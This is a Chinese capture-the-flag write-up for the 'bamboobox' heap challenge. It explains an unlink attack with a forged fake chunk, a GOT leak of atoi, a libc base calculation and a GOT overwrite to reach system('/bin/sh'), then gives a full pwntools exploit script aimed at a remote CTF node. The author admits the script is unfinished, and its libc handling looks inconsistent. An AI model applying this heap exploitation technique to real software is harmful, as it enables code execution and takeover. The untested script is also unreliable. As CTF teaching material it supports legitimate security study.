bamboobox两种利用方式,一种通过修改top chunk进行堆溢出,一种通过unlink,这边只讲unlink的方式
首先checksec
这里是可以劫持got表的
程序先跑一下
就是一个很正常的添加东西的并且输出的程序
然后ida
一般来说问题都会出在add和delete的位置上?然后先看add的部分吧
然后看itemlist位置
从0x6020c0开始,按照堆的规矩,第一个位置放的是size,后面的位置放别的,也就意味着我们的name位置将会放在0x6020c8的位置,然后用gdb看一下堆的存储方式和顺序
对应的是我们输入的大小20
这边不是0x6032b0的原因是我们使用的是mem指针,在之前的文章中说了,最前方的两个位置无法使用,所以要加上0x10
然后就是想要拿到shell,因为前面说了可以对got表进行劫持也就意味着我们可以通过自带的函数把地址输出来直接atoi的运行地址然后计算得到得到libc的偏移,所以要解决的问题就是伪造一个fake chunk
总体思路
1首先申请三个堆块
2然后伪造一个fake chunk让系统认为是空,在释放时向前合并
3然后由于unlink的机制会使指针指向-3的位置上,对于0号堆而言
4此时将name改成atoi的got表地址就能输出位置,然后通过libc计算得出system函数的地址,然后进行覆盖,在后面的有调用atoi函数时输入bin/sh,就可以调用system bin/sh
具体过程
add(0x40,'a' * 8) //0
add(0x40,'b' * 8) //1
add(0x40,'c' * 8) //2
申请三个堆块
ptr = 0x6020c8 //全局变量数组list的首地址
然后伪造fake chunk
fake_chunk = p64(0) //pre size为0
fake_chunk += p64(0x41) //这里是因为申请0x40分配空间为0x50,要去掉前面的pre size和size的位置
fake_chunk += p64(ptr-0x18) //fd
fake_chunk += p64(ptr-0x10) //bk
fake_chunk += 'c'*0x30 //这里相当于0x50-48=0x30
fake_chunk += p64(0x40) //覆盖chunk1的prev_size
fake_chunk += p64(0x50) //覆盖chunk1的size,标志位置0
这里fd和bk的计算方式
pre size +0
size +1
fd +2
bk +3
可知fd的值为&chunk1-3,按照检查机制p->fd->bk=&chunk1-3+3=&chunk1,即完美的满足了监测机制,同理p->bk->fd=&chunk1-2+2=&chunk1,然后在这道题里,相当于要乘8,即为0x18和0x10
payload = p64(0) * 3
atoi_got = elf.got["atoi"]
payload += p64(atoi_got)
这里的p64(0)的3个主要是为了占位,应为之前说了指向的是name-3的位置,所以需要有三个字母进行占位然后调用show函数进行输出
atoi_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))
然后anzhaolibc的计算方法得出system的地址,然后用system的got表地址覆盖atoi的got表地址,在choice的后面输入bin/sh进行调用
wp的话电脑最近好像被玩崩了,libc有点问题,在重装glibc,反正大概这样,实在不行之后再改吧
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#r = process('./llll')
r= remote("node4.buuoj.cn",26018)
elf = ELF('./llll')
#libc = elf.libc
libc=ELF('libc-2.33.so')
def add(length,name):
r.recvuntil(":")
r.sendline('2')
r.recvuntil(':')
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
def edit(idx,length,name):
r.recvuntil(':')
r.sendline('3')
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(':')
r.sendline(name)
def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
def show():
r.recvuntil(":")
r.sendline("1")
add(0x40,'a' * 8)
add(0x40,'b' * 8)
add(0x40,'c' * 8)
ptr = 0x6020c8
fake_chunk = p64(0)
fake_chunk += p64(0x41)
fake_chunk += p64(ptr-0x18)
fake_chunk += p64(ptr-0x10)
fake_chunk += b'c'*0x30
fake_chunk += p64(0x40)
fake_chunk += p64(0x50)
edit(0,0x90,fake_chunk)
#gdb.attach(r)
remove(1)
payload = p64(0) * 3
atoi_got = elf.got["atoi"]
payload += p64(atoi_got)
edit(0,len(payload),payload)
#gdb.attach(r)
show()
r.recvuntil("0:")
atoi_addr = u64(r.recvuntil(":")[:6].ljust(8,b'\x00'))
libc=LibcSearcher('atoi',atoi_addr)
libcbase = atoi_addr - elf.libc.symbols['atoi']
system_addr = libcbase + elf.libc.symbols['system']
edit(0,0x10,p64(system_addr))
gdb.attach(r)
r.recvuntil(":")
r.sendline("/bin/sh")
r.interactive()